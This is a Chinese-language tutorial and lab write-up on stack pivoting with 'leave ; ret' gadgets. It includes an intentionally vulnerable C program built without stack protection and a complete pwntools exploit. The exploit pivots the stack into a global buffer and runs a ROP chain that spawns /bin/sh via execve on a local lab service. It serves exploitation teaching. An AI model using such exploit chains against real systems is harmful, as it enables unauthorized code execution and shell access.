Lab 網址
前言
如果我們沒有辦法有足夠的長度或方法 leak libc 或是構建 ROP chain,還有什麼攻擊方式嗎?其實有的,就是將 stack 直接移到其他區塊並執行事先寫在指定區域的 chain。將 stack 遷移到其他地方的方式就叫做 Stack Pivoting 或 Stack Migration。
Stack Pivoting
Stack Pivoting 是將 ROP chain 分次寫在指定區域,最後將 stack 遷移過去執行。Stack 由 rsp 控制,因此我們需要控制 rsp,主要利用以下的關鍵指令:
- leave ; ret
實際執行了以下兩個動作:
- leave -> mov rsp , rbp ; pop rbp ;
- ret -> pop rip;
由於在每次的 buffer overflow 中,rbp 是可以控制的,所以我們可以利用 rbp 加上這個指令來控制 rsp。這些 gadgets 在程式中幾乎都可以找到,因為它們通常用於 function 結束時恢復上一個 function 的 stack frame。
範例
以下範例展示如何將 rsp 遷移到另一個區塊:
原本的 rbp 是 0x7ffe65dea290,rsp 是 0x7ffe65dea280。經過 leave 後,rbp 被換成我們填入的 save rbp 位置,rsp 變為 rbp + 0x8。再透過一次 leave,rsp 就會進一步改變。
如此一來,我們就可以控制執行流程,並且可以通過不斷遷移 stack 來達成任意的 ROP。




Lab
查看以下原始碼:
1#include<stdio.h>
2#include<stdlib.h>
3
4char name[0x100];
5
6int main(){
7 setvbuf(stdout, 0, 2, 0);
8 setvbuf(stdin, 0, 2, 0);
9 setvbuf(stderr, 0, 2, 0);
10 char message[0x10];
11 puts("Welcome to challenge!");
12 puts("What's your name?");
13 read(0, name, 0x100);
14 puts("Leave a message: ");
15 read(0, message, 0x20);
16 return 0;
17}
使用以下指令進行編譯:
1gcc src/stack_pivoting.c -o ./stack_pivoting/share/stack_pivoting -fno-stack-protector -no-pie -static
writeup
可以發現有一個全域變數 name 可以寫入內容,還有一個 message 可以輸入並且存在 buffer overflow 的風險。我們可以確認是否能覆蓋 return address。
在輸入是從 rbp - 0x10 輸入 0x20,因此可以 overflow 的空間為 0x20 - 0x10 = 0x10,剛好可以覆蓋 return address。

因為編譯參數使用了 -static,我們可以利用許多 gadgets 來進行 ROP。不能直接透過 return address 進行 ROP,但可以將 ROP chain 寫在 name 中,透過 stack pivoting 將程式流程轉移到 name,進而執行 ROP。
確認 name 的位置:

接下來可以參考Day12-Basic ROP
要注意,name 要填入最後將 rsp 遷移過去會改的 padding,還有要注意 return address 的部分要填上 leave ; ret,並且加上原先就存在 main function 最後的 leave ; ret,即可改變 rsp
完整 exploit:
1from pwn import *
2
3context.arch = 'amd64'
4
5# r = process('../stack_pivoting/share/stack_pivoting')
6r = remote('127.0.0.1', 10009)
7
8rop = flat(
9 0x00000000004048f4, # pop rsi ; ret
10 0x49c230, # writable address
11 0x0000000000417807, # pop rax ; ret
12 b'/bin/sh\x00',
13 0x0000000000418f31, # mov qword ptr [rsi], rax ; ret
14 0x0000000000417807, # pop rax ; ret
15 0x3b, # execve
16 0x0000000000402008, # pop rdi ; ret
17 0x49c230, # writable address
18 0x00000000004048f4, # pop rsi ; ret
19 0x0, # NULL
20 0x00000000004563b7, # pop rdx ; pop rbx ; ret
21 0x0, # NULL
22 0x0, # NULL
23 0x0000000000401291, # syscall
24)
25payload = b'A' * 0x8 + rop
26r.sendlineafter(b"What's your name?\n",payload)
27name = 0x000000000049db40
28leave_ret = 0x0000000000401852
29pivoting = b'A' * 0x10 + p64(name) + p64(leave_ret)
30r.sendlineafter(b"Leave a message: \n",pivoting)
31r.interactive()
solve!!!
